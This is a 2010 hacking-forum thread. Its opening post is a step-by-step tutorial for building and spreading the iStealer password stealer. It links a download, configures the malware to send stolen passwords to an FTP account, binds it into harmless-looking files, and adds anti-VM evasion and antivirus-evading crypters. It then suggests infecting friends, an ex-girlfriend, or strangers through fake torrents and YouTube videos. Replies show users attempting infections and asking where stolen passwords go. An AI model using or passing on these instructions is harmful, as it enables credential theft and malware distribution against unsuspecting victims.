Thread: [iStealer Tutorial + Download](#)

Tooth Fairy - April 18, 2010, 10:37 am

[img]http://img26.imageshack.us/img26/9679/istealer.jpg[/img]

Before we start, I just wanted to say this, This is tutorial for people which have no knowledge on configuring a iStealer server! If you have no knowledge on how to configure a iStealer server please read on!!

Also before we start we need to sign up for a free FTP service, I currently use

Code:

<http://www.drivehq.com>

so use that one, sign up and now lets start!

Step 1 (Obtaining iStealer):

Go to the following link:

*Note: This file was uploaded by me, it is safe, If you don't believe me nor want to download it search for it on google. I have been using this for a while so I consider it safe.

Download Link:

Code:

<http://www.mediafire.com/?ruiw5yummd>

This application WILL be detected by your anti-virus. Of course online scanners detect it as infected.. it's a stealer you know..if you still believe this to be infected by me please do not download!

Step 2: (Extracting)

Right Click and extract "iStealer 3.0"

Once extracted there should be two files. One folder called "Icon Pack" and one application called "iStealer".

Double Click on "iStealer". There should now be a menu of options.

IF YOU GET ERROR MISSING COMDLG32.OCX

You can download the missing OCX here:

Code:

<http://www.ocxdump.com/download-ocx-.../download.html>

Once you've downloaded the missing OCX extract it into WINDOWS>SYSTEM32

Step 3: (Creating your password stealer server)

Okay once iStealer is up there should be a menu with different options.

Where it says host copy and paste this "ftp.drivehq.com" without quotes.

Where it says username enter your drivehq.com username.

Where it says password enter your drivehq.com password.

Okay Once they are all done you can decide whether you want to bind your server(password stealer) with another application, song, document, picture etc! Just click "bind with another file" and choose what file you want to bind your server with.

Once you have done that you can decide whether or not you want to change the icon. (If you skip this step there will be just a default icon). Just click "Change icon then go to the folder where you extracted iStealer, then open up icon pack then choose one of the icons there.

Once you have chosen your icon make sure ALL boxes are ticked in the "Recovery Options". Then go down to general settings and tick " Anti virtualPC / VMWare " (This will prevent the server from running on Virtual PC's)

Once you have done that click " Build " and your done!

Step 4: Spreading/Infesting people with your server

This involves some skill, patience and well creativity.

If you want to infect a small amount of people like a friend, ex-girlfriend etc. Just bind the server with a legit file some examples are: A document, song (Be Creative). Use "ShockLabs File Binder" to bind the two files together, then ZIP the server and send it via MSN Messenger.

Before we move on I'd suggest we make our server FUD meaning that the iStealer server is completely un-detected by all Anti-Virus engines this can be done by finding a FUD Crypter, search around on the forums I'm sure you will be able to find a free one. But you may have to invest a small amount of money on one if you cannot find any.

If you want to infect a majority of people I would suggest using torrents. Create a new torrent claim it to be some keygen, crack or whatever and seed! Upload your torrent to torrent sites like PirateBay and Mininova.

Also youtube is another method. Upload a fake video, and get people to download your server. If you liked my post then do reply.
Download at your own risk but it is clean in my knowledge.

bredsticks - May 23, 2010, 9:02 am

Good Tutorial! I always got the error and this helped a noob like me fix it. Thanks Dude.

Mr.BTC - May 23, 2010, 9:06 am

thanks mate I'm downloading it

Bullet_1991 - May 23, 2010, 10:06 am

is it safe to test on myself??

Akureyri - May 23, 2010, 10:46 am

Wow dude,looks sexy....Is this version 3????

thx <3

#KiRà - May 24, 2010, 12:58 am

Dont work for me...

I think is not safe

-mothered- - May 24, 2010, 3:56 am

Although there's a few of these circulating at the moment, this one's pretty Informative and elaborated, with supportive links.

Nice tut Indeed mate.

Keep up the good work :)

Tooth Fairy - May 24, 2010, 4:17 am

Thanks for the feedback

-mothered- - May 24, 2010, 4:50 am

You're most welcome there mate :)

MooKy Tha KiD - May 24, 2010, 5:13 am

3.0?

Just FYI iStealer 6 is out..

-mothered- - May 24, 2010, 6:57 am

(May 24, 2010 05:13 AM)MooKy Tha KiD Wrote: [\[CITE\]](#) 3.0?

Just FYI iStealer 6 is out..

Yeah, thanks for the Info mate. To my knowledge, It's been out for a little while now :)

theblackhatter - May 24, 2010, 7:07 am

thx for the share blooo (filler)

Bullet_1991 - May 24, 2010, 9:07 am

can you test it on your self???

Bullet_1991 - May 25, 2010, 11:10 am

hmm i infected someone but noting happening can someone help

Cyandelta_CG - May 25, 2010, 11:33 am

You probably configured it wrong, re-read the tutorial & try..try again :)

OT: Thanks for the great tut, i'll be using this <3

ghostguy - May 25, 2010, 12:50 pm

usefull , think il try it

wyterzzz - May 25, 2010, 1:02 pm

good tutorial man [too short]

Tooth Fairy - May 25, 2010, 8:07 pm

Thanks dude

Bullet_1991 - May 26, 2010, 3:40 pm

Where does the information get stored??

__Crypt__ - May 26, 2010, 3:42 pm

Wrong section and this is a way OLD version... version 6.1 is out >,<

Post in keylogger section?

Bullet_1991 - May 26, 2010, 3:43 pm

Ye I cant get the 6.1 version on my pc some reason same with RAT's cant install them on my pc either and yes I turned off all AV's

__Crypt__ - May 26, 2010, 3:57 pm

Hmm wierd... and its not free also btw!

Bullet_1991 - May 26, 2010, 4:09 pm

This is the only one that works all the others done install it sais

! Cannot execute "C:\Users\Luke~1\AppData\Local\Temp\Rar\$EX00.179\iStealer.exe"

__Crypt__ - May 26, 2010, 5:00 pm

U need to turn off anti-virus like191

Knuckles - May 26, 2010, 5:10 pm

i tried to download the missing file and got it but wen i put it on system 32 still isnt working

Bullet_1991 - May 29, 2010, 4:55 pm

(May 26, 2010 05:00 PM) **__Crypt__** Wrote: [\[CITE\]](#) U need to turn off anti-virus like191
Yes I have

And were does all the information get stored like all the asswords and that??

Going to try agen now

Etepula - May 29, 2010, 6:23 pm

well done

as a noob it was essy to read

i will try it ty very much
